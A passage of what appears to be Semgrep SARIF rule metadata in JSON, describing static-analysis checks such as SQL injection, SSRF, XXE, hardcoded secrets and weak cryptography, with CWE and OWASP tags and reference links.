(HSM)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","id":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","name":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","id":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","name":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"help":{"markdown":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security)\n","text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","id":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","name":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md](https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection","id":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","name":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-connection.tainted-url-to-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","id":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","name":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"help":{"markdown":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","id":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","name":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free","id":"cpp.lang.security.memory.deallocation.double-free.double-free","name":"cpp.lang.security.memory.deallocation.double-free.double-free","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-free.double-free"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"help":{"markdown":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged](https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged)\n - [https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS](https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS)\n - [https://stackoverflow.com/a/40335556](https://stackoverflow.com/a/40335556)\n","text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","id":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","name":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","id":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","name":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n","text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","id":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","name":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","id":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","name":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","id":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","name":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"help":{"markdown":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade)\n - [https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps](https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade","id":"swift.webview.webview-https.swift-webview-config-https-upgrade","name":"swift.webview.webview-https.swift-webview-config-https-upgrade","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-https.swift-webview-config-https-upgrade"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","id":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","name":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash)\n - 